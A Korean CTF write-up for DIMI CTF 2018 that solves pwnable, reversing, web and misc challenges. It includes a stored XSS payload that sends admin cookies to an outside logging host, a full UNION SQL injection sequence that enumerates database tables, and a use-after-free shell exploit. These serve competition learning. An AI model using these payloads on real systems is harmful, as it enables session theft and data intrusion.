2018 DIMICTF Writeup

DIMI CTF 2018 Writeup

2018 DIMICTF Writeup

Pwnable

init (580 pt)

init ( 580p )
서버 바이너리에는 정상적으로 플래그가 있습니다
nc 121.170.91.17 9901
DOWNLOAD

IDA 헥스레이로 분석을 하면 다음과 같습니다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *rsi_not_used; // rsi
  char choice; // [rsp+7h] [rbp-59h]
  size_t nbytes; // [rsp+8h] [rbp-58h]
  char buf; // [rsp+10h] [rbp-50h]
  char flag[39]; // [rsp+30h] [rbp-30h]
  unsigned __int64 canary; // [rsp+58h] [rbp-8h]

  canary = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  rsi_not_used = 0LL;
  setvbuf(_bss_start, 0LL, 2, 0LL);
  choice = (unsigned __int64)&unk_B34;
  nbytes = 0LL;
  strcpy(flag, "This is flagdaaaaaaaaaaaaaaaaaaaaaaaa.");
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        puts("Do you want to do?");
        puts("[R]ead");
        puts("[W]rite");
        puts("[E]xit");
        printf(">>> ", rsi_not_used);
        rsi_not_used = &choice;
        __isoc99_scanf("%c", &choice);
        if ( choice != 'R' )
          break;
        printf("length: ", &choice);
        __isoc99_scanf("%d", &nbytes);
        rsi_not_used = &buf;
        read(0, &buf, (unsigned int)nbytes);
      }
      if ( choice != 'W' )
        break;
      printf("length: ", &choice);
      __isoc99_scanf("%d", &nbytes);
      rsi_not_used = &buf;
      write(1, &buf, (unsigned int)nbytes);
    }
    if ( choice == 'E' )
      break;
    puts("None !");
  }
  puts("Good Bye !");
  return 0;
}

nbytes 만큼 buf 에서부터 값을 읽어올 수 있습니다.

검사를 안하니 flag 를 읽어오도록 여유롭게 100정도 넣으면 됩니다.

shgroup@SH-Group:/mnt/c/Users/c$ nc 121.170.91.17 9901
Do you want to do?
[R]ead
[W]rite
[E]xit
>>> W
length: 100
h!$l              :>U  dimi{A110cAt3_1s_$o_1mp0rt@n7}  i   Tq:>U  0džl     Do you want to do?
[R]ead
[W]rite
[E]xit
>>> None !
Do you want to do?
[R]ead
[W]rite
[E]xit
>>> E
Good Bye !

Flag : dimi{A110cAt3_1s_$o_1mp0rt@n7}

BabyCpp (880 pt)

BabyCpp ( 880p )
nc 121.170.91.17 7777
DOWNLOAD

헥스레이로 보면 Vulnerability 인스턴스 본인을 호출합니다.

babycpp_vuln_point

정~말 우연히도, main 함수에서 크기가 같고 똑같이 펑터 함수가 있는 Shell 클래스를 할당할 수 있습니다.

babycpp_shell_allocation

저어엉~말 우연히도, Shell 클래스의 펑터 함수는

babycpp_shell_functer

쉘입니다.

다음과 같이 입력하면 됩니다.
Vulnerability 할당 -> Vulnerability 해제 -> Shell 할당 -> Vulnerability 호출

shgroup@SH-Group:/mnt/c/Users/c$ nc 121.170.91.17 7777
There are two very vulnerable objects
And all type can be declared ( character, string, integer, etc.. )
You just do new, delete and call
[I]nteger
[D]ouble
[C]haracter
[V]ulnteer
[S]hell
[E]xit
>>> V
[N]ew
[C]all
[D]elete
>>> N
[I]nteger
[D]ouble
[C]haracter
[V]ulnteer
[S]hell
[E]xit
>>> V
[N]ew
[C]all
[D]elete
>>> D
[I]nteger
[D]ouble
[C]haracter
[V]ulnteer
[S]hell
[E]xit
>>> S
[N]ew
>>> N
Shell address: 0x55ae285e7998
[I]nteger
[D]ouble
[C]haracter
[V]ulnteer
[S]hell
[E]xit
>>> V
[N]ew
[C]all
[D]elete
>>> C
id
uid=1000(babycpp) gid=1000(babycpp) groups=1000(babycpp)
cat /home/babycpp/flag
dimi{Cpp_1s_e@5y_and_d1ff1cult}
exit
[I]nteger
[D]ouble
[C]haracter
[V]ulnteer
[S]hell
[E]xit
>>> E
GoodBye ~

Flag : dimi{Cpp_1s_e@5y_and_d1ff1cult}

Reversing

EZPZ (500 pt)

EZPZ ( 500p )
DOWNLOAD

DIE(Detect It Easy) 로 분석해보면 .NET(v4.0.30319)[-] 이라고 합니다.

.Net 디컴파일러인 Reflector 로 열어보면

EZPZ_check

단순히 문자열로 플래그를 검사합니다.

Flag : dimi{Welcome_reversing}

mm (930 pt)

mm ( 930p )
DOWNLOAD

IDA 헥스레이로 main 함수를 보면

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char buf[264]; // [rsp+0h] [rbp-110h]
  unsigned __int64 canary; // [rsp+108h] [rbp-8h]

  canary = __readfsqword(0x28u);
  srand(0x17A3u);
  memset(buf, 0, 256uLL);
  write(1, "Input: ", 7uLL);
  buf[read(0, buf, 256uLL) - 1] = 0;
  if ( (unsigned int)check_value(buf) )
    write(1, "Correct\n", 8uLL);
  else
    write(1, "Wrong\n", 6uLL);
  return 0LL;
}

다음과 입력값을 아래의 함수에 넣습니다.

_BOOL8 __fastcall sub_85A(const char *input)
{
  int rand_val; // ST1C_4
  int i; // [rsp+14h] [rbp-21Ch]
  int input_len; // [rsp+18h] [rbp-218h]
  __int16 check_buf[260]; // [rsp+20h] [rbp-210h]
  unsigned __int64 canary; // [rsp+228h] [rbp-8h]

  canary = __readfsqword(0x28u);
  input_len = strlen(input);
  memset(check_buf, 0, 0x200uLL);
  for ( i = 0; i < input_len; ++i )
  {
    rand_val = (unsigned __int16)rand();
    check_buf[i] = rand_val * input[i] % (rand_val + 1);
  }
  return memcmp(check_buf, &check_values, 0x74uLL) == 0;
}

rand() 함수를 사용해서 다음과 같은 식으로 입력값들을 검사합니다.

입력값들은 다음과 같이 하드코딩 되어있습니다.

mm_check_values

랜덤값 * 입력값 % (랜덤값 + 1)

일단 여기서 조심해야 할 것은 rand_val 은 2바이트라는 것입니다.

이제 이를 역으로 풀어보겠습니다.

먼저 다음 값들을 뽑아냅니다.

  • 시드가 0x17A3(unsigned short)rand() 값의 hex string
  • check_values 값들의 hex string
#include <stdio.h>
#include <stdlib.h>

int main(void){
    
    int i;
    short tmp;
    char output[58] = {0, };
    short final[] = {0x73A8, 0x39CC, 0x4E0A, 0x8D85, 0x0D1F2, 0x7776, 0x272E, 0x0AB31, 0x8F34, 0x4659, 0x0E7AC, 0x0A308, 0x154D, 0x7D9F, 0x7123, 0x0F8DB, 0x49C4, 0x5BB8, 0x2274, 0x0DD76, 0x0C29D, 0x7048, 0x52AE, 0x1361, 0x0C98C, 0x73A6, 0x870A, 0x8870, 0x748D, 0x669, 0x8C8F, 0x0E8A9, 0x40B1, 0x0DABF, 0x76C7, 0x133D, 0x52B2, 0x9E59, 0x0BE76, 0x0E248, 0x0E4DD, 0x0A6C5, 0x856E, 0x0FAB7, 0x2465, 0x0F6F7, 0x0F41C, 0x6E93, 0x535A, 0x16DA, 0x4C54, 0x166D, 0x87A4, 0x9F0F, 0x29DD, 0x51A3, 0x1327, 0x0B13A};
    
    srand(6051);
    
    for(i = 0 ; i < 58 ; i ++){
        printf("0x%x, ", final[i]);
    }
    printf("\n\n");
    for(i = 0 ; i < 58 ; i ++){
        tmp = (short) (rand() & 0xFFFF);
        printf("0x%x, ", tmp);
    }
    printf("\n");

    return 0;
}
shgroup@SH-Group:/mnt/e/dimictf/rev/mm$ ./solve
0x73a8, 0x39cc, 0x4e0a, 0xffff8d85, 0xffffd1f2, 0x7776, 0x272e, 0xffffab31, 0xffff8f34, 0x4659, 0xffffe7ac, 0xffffa308, 0x154d, 0x7d9f, 0x7123, 0xfffff8db, 0x49c4, 0x5bb8, 0x2274, 0xffffdd76, 0xffffc29d, 0x7048, 0x52ae, 0x1361, 0xffffc98c, 0x73a6, 0xffff870a, 0xffff8870, 0x748d, 0x669, 0xffff8c8f, 0xffffe8a9, 0x40b1, 0xffffdabf, 0x76c7, 0x133d, 0x52b2, 0xffff9e59, 0xffffbe76, 0xffffe248, 0xffffe4dd, 0xffffa6c5, 0xffff856e, 0xfffffab7, 0x2465, 0xfffff6f7, 0xfffff41c, 0x6e93, 0x535a, 0x16da, 0x4c54, 0x166d, 0xffff87a4, 0xffff9f0f, 0x29dd, 0x51a3, 0x1327, 0xffffb13a,

0x740b, 0x3a34, 0x4e76, 0xffff8ded, 0xffffd26c, 0x77d8, 0x278e, 0xffffab61, 0xffff8f96, 0x46cd, 0xffffe817, 0xffffa33b, 0x15c0, 0x7dd1, 0x7186, 0xfffff939, 0x4a2c, 0x5c25, 0x22e9, 0xffffdda8, 0xffffc30e, 0x70ba, 0x52e0, 0x139f, 0xffffc9ea, 0x73d5, 0xffff877b, 0xffff88ce, 0x7501, 0x6db, 0xffff8cc1, 0xffffe90c, 0x410f, 0xffffdb38, 0x76f9, 0x137b, 0x5310, 0xffff9e88, 0xffffbedd, 0xffffe2a6, 0xffffe555, 0xffffa6f4, 0xffff85e2, 0xfffffb15, 0x24c5, 0xfffff768, 0xfffff44e, 0x6ef1, 0x538d, 0x1738, 0x4c99, 0x169c, 0xffff87f2, 0xffff9f7a, 0x2a3b, 0x51dd, 0x134f, 0xffffb1b6,

이후 위의 역연산을 풉니다.

output = [0x73a8, 0x39cc, 0x4e0a, 0xffff8d85, 0xffffd1f2, 0x7776, 0x272e, 0xffffab31, 0xffff8f34, 0x4659, 0xffffe7ac, 0xffffa308, 0x154d, 0x7d9f, 0x7123, 0xfffff8db, 0x49c4, 0x5bb8, 0x2274, 0xffffdd76, 0xffffc29d, 0x7048, 0x52ae, 0x1361, 0xffffc98c, 0x73a6, 0xffff870a, 0xffff8870, 0x748d, 0x669, 0xffff8c8f, 0xffffe8a9, 0x40b1, 0xffffdabf, 0x76c7, 0x133d, 0x52b2, 0xffff9e59, 0xffffbe76, 0xffffe248, 0xffffe4dd, 0xffffa6c5, 0xffff856e, 0xfffffab7, 0x2465, 0xfffff6f7, 0xfffff41c, 0x6e93, 0x535a, 0x16da, 0x4c54, 0x166d, 0xffff87a4, 0xffff9f0f, 0x29dd, 0x51a3, 0x1327, 0xffffb13a]
rands = [0x740b, 0x3a34, 0x4e76, 0xffff8ded, 0xffffd26c, 0x77d8, 0x278e, 0xffffab61, 0xffff8f96, 0x46cd, 0xffffe817, 0xffffa33b, 0x15c0, 0x7dd1, 0x7186, 0xfffff939, 0x4a2c, 0x5c25, 0x22e9, 0xffffdda8, 0xffffc30e, 0x70ba, 0x52e0, 0x139f, 0xffffc9ea, 0x73d5, 0xffff877b, 0xffff88ce, 0x7501, 0x6db, 0xffff8cc1, 0xffffe90c, 0x410f, 0xffffdb38, 0x76f9, 0x137b, 0x5310, 0xffff9e88, 0xffffbedd, 0xffffe2a6, 0xffffe555, 0xffffa6f4, 0xffff85e2, 0xfffffb15, 0x24c5, 0xfffff768, 0xfffff44e, 0x6ef1, 0x538d, 0x1738, 0x4c99, 0x169c, 0xffff87f2, 0xffff9f7a, 0x2a3b, 0x51dd, 0x134f, 0xffffb1b6]

strs = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_~!@#$%^&*()+=-;:'\"/.,\\[]{}?"
text = list()
for i, out in enumerate(output):
    lsts = list()
    for j in strs:
        if rands[i] * ord(j) % (rands[i] + 1) == output[i]:
            lsts.append(j)
    if len(lsts) == 0:
        for j in range(256):
            if rands[i] * j % (rands[i] + 1) == output[i]:
                lsts.append(chr(j))
    text.append(lsts)


for lt in text:
    print(lt)

print("".join([l[0] for l in text]))

(빨리 풀기 위하여 strs 에 나올만한 문자들을 미리 넣어놨습니다.)

shgroup@SH-Group:/mnt/e/dimictf/rev/mm$ python solve.py
['d']
['i']
['m']
['i']
['{']
['c']
['a']
['1']
['c']
['u']
['l']
['4']
['t']
['3']
['d']
['_']
['i']
['n']
['v']
['3']
['r']
['s']
['3']
['?']
['_']
['0']
['r']
['_']
['u']
['s']
['3']
['d']
['_']
['z']
['3']
['?']
['_']
['0']
['h']
['_']
['y']
['0']
['u']
['_']
['a']
['r']
['3']
['_']
['4']
['_']
['F']
['0']
['O']
['l']
['_']
[';']
[')']
['}']
dimi{ca1cul4t3d_inv3rs3?_0r_us3d_z3?_0h_y0u_ar3_4_F0Ol_;)}

Flag : dimi{ca1cul4t3d_inv3rs3?_0r_us3d_z3?_0h_y0u_ar3_4_F0Ol_;)}

(여담으로, 이 문제 사실 z3 쓰는 문제였다고... < 난 왜 고생한거지;;)

Table (970 pt)

Table ( 970p )
DOWNLOAD

IDA 헥스레이로 열어보면 다음과 같은 수도코드가 나옵니다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char tmp1; // al
  char tmp2; // cl
  int i; // [rsp+Ch] [rbp-164h]
  signed int j; // [rsp+10h] [rbp-160h]
  signed int k; // [rsp+14h] [rbp-15Ch]
  char sources[110]; // [rsp+20h] [rbp-150h]
  char output[100]; // [rsp+90h] [rbp-E0h]
  char input_arr[100]; // [rsp+100h] [rbp-70h]
  int v12; // [rsp+164h] [rbp-Ch]
  unsigned __int64 canary; // [rsp+168h] [rbp-8h]
  __int64 savedregs; // [rsp+170h] [rbp+0h]

  canary = __readfsqword(0x28u);
  sources[0] = 'A';
  sources[1] = 'B';
  
  // VALUES....
  
  sources[103] = 'f';
  sources[104] = 'G';
  memset(output, 0, 0x60uLL);
  *(_DWORD *)&output[96] = 0;
  memset(input_arr, 0, 0x60uLL);
  *(_DWORD *)&input_arr[96] = 0;
  __isoc99_scanf("%100s", input_arr, &v12);
  for ( i = 0; input_arr[i]; ++i )
    ;
  if ( i != 15 )
    return 0;
  for ( j = 0; j < 15; ++j )
  {
    input_arr[j] ^= 0xFu;
    input_arr[j] %= 75;
    tmp1 = input_arr[j];
    tmp2 = input_arr[j];
    if ( *((_BYTE *)&savedregs + 7 * (tmp1 % 15) + tmp2 % 5 - 336) != sources[7 * j + 6] )
      return 0;
    output[j] = *((_BYTE *)&savedregs + 7 * (tmp1 % 15) + tmp2 % 5 - 336);
  }
  for ( k = 0; k < 15; ++k )
    output[k] ^= sources[7 * k + 5];
  printf("dimi{%s}\n", output);
  return 0;
}

뭔가 되게 어려워 보입니다.

하지만 잘 보면 그렇게 어렵지는 않습니다.

첫 번째로 input_arr 이 15 글자인지 검사합니다.

  for ( i = 0; input_arr[i]; ++i )
    ;
  if ( i != 15 )
    return 0;

두 번째로 input_arr[j] 를 검사하는데, 조금 복잡해보입니다.

  for ( j = 0; j < 15; ++j )
  {
    input_arr[j] ^= 0xFu;
    input_arr[j] %= 75;
    tmp1 = input_arr[j];
    tmp2 = input_arr[j];
    if ( *((_BYTE *)&savedregs + 7 * (tmp1 % 15) + tmp2 % 5 - 336) != sources[7 * j + 6] )
      return 0;
    output[j] = *((_BYTE *)&savedregs + 7 * (tmp1 % 15) + tmp2 % 5 - 336);
  }

뭔가 이상한 연산을 하고, 이 연산 값이 sources[7 * j + 6] 과 같은지 확인한 후,

이 연산 값을

output[j] 에 저장합니다. 이 때 여기서 이 연산값은 sources[7 * i + 6]과 같을 때에만 저장을 하니, 결국 sources[7 * i + 6] 값이랑 똑같은 값이 됩니다.

다음에는

  for ( k = 0; k < 15; ++k )
    output[k] ^= sources[7 * k + 5];
  printf("dimi{%s}\n", output);

각 값들을 sources[7 * k + 5] 값과 각각 output 값들을 xor 하고, 이 값들을 dimi{%s} 포맷팅으로 출력해줍니다.

이를 토대로 역연산 코드를 짜면

sources = [65, 66, 67, 68, 69, 72, 121, 70, 71, 72, 73, 74, 14, 90, 75, 76, 77, 78, 79, 99, 71, 80, 81, 82, 83, 84, 12, 83, 85, 86, 87, 88, 89, 29, 83, 90, 97, 98, 99, 100, 116, 71, 101, 102, 103, 104, 105, 36, 114, 106, 107, 108, 109, 110, 26, 95, 111, 112, 113, 114, 115, 19, 65, 116, 117, 118, 119, 120, 5, 90, 121, 122, 33, 64, 35, 2, 71, 36, 37, 94, 38, 42, 101, 37, 40, 41, 49, 50, 51, 42, 121, 52, 53, 54, 55, 56, 20, 77, 57, 48, 123, 125, 95, 102, 71]
output = list()

for i in range(15):
    output.append(chr(sources[7 * i + 6] ^ sources[7 * i + 5]))

print("".join(output))
shgroup@SH-Group:/mnt/e/dimictf/rev/table$ python solve2.py
1T$_N3VER_E@SY!

Flag : dimi{1T$_N3VER_E@SY!}

Web

DIMI SIMPLE BOAD 2 (920 pt)

DIMI SIMPLE BOARD 2 ( 920p )
관리자는 여러분들의 의견을 잘 듣습니다.
BLIND STORED XSS
http://121.170.91.15/jtjjtjjtjjtjjtjj/

글에 코멘트를 남길 수 있는 공간이 있는데 커멘트는 관리자가 읽으며 xss가 가능한 것으로 보입니다.

그래서 다음과 같이 코멘트를 보낸 다음,

<script>location.href="http://kshgroup.kr/log.php?log=" + document.cookie;</script>

해당 로그에서 cookie 를 빼온 다음, 어드민으로 로그인했더니 메인페이지 플래그가 나왔습니다.

(현재는 서버의 셀레니움이 꺼진 것 같아서 읽지를 않는 것 같아서 풀이할 수가 없네요..)

Flag : ``

DIMI SIMPLE BOAD 1 (950 pt)

DIMI SIMPLE BOARD 1 ( 950p )
게시물에 있는 플래그를 읽어보아요.
UNION SQL INJECTION
http://121.170.91.15/jtjjtjjtjjtjjtjj/

해당 사이트에서 글을 읽는 페이지의 url 파라메터는 idx=no 와 같은 형식입니다.

union sql injection 을 해주면 됩니다.

?idx=10' union select '0', '0', '0', '0', '0' -- -

를 넣어서 열이 5개라는 것을 알아내고,

10' union select table_name, '0', '0', '0', '0' from information_schema.columns where table_schema=database() limit 0,1 -- -

를 통해 테이블의 이름이 board 라는 것을 알아내고

10' union select column_name, '0', '0', '0', '0' from information_schema.columns where table_schema=database() and table_name ='board' limit 0,1 -- -

를 통해 각각 열의 이름이 idx, writer, title, contents, password 라는 것을 알아내고

마지막으로

10' union select idx,writer,title,contents,'0' from board where writer='admin'-- -

를 입력해 내용을 읽어옵니다.

DIMI_SIMPLE_BOARD1

Flag : dimi{dimi_qna_sqlinjection}

Misc

MIC CHECK (10 pt)

MIC CHECK ( 10p )
Can you speak?
FLAG : dimi{Hello, DIMIGO!}

Flag : dimi{Hello, DIMIGO!}

Win RSP (830 pt)

Win RSP ( 830p )
flag 형식 : flag{ "무엇인가" }, dimi{}가 아닙니다.
DOWNLOAD

(솔직히 이거 리버싱문제 아닌가요..?)

구글 드라이브에서 rsp.apk 파일 한 개를 줍니다.

이 파일 안에서 classes.dex 파일을 꺼내 dex2jar 를 사용해 디컴파일을 하면

다음과 같은 소스가 나옵니다.

winrsp_source

이 소스를 그대로 앱을 만들어서 돌리게 되면

winrsp_android_source

winrsp_android_run

플래그가 나옵니다.

Flag : flag{Are_you_Genius_or_Stupid?}

guess (910 pt)

guess ( 910p )
where is my flag.png?

just guess, not crypto, find img in online

DOWNLOAD

파일을 다운받고 raw 로 열면 어떠한 값들이 들어있습니다.

guess_values

이 값을 가지고 게싱을 동원하여 imgur.com 사이트에 가서 찾아보면

here

guess_imgur

다음과 같이 플래그가 나옵니다.

Flag : dimi{w0w_y0u_ar3_sup3rdup4_gu3ss3r~}

Others

만약 문제 링크가 만료되었거나, 위에 없는 문제는 이곳에서 확인하실 수 있습니다.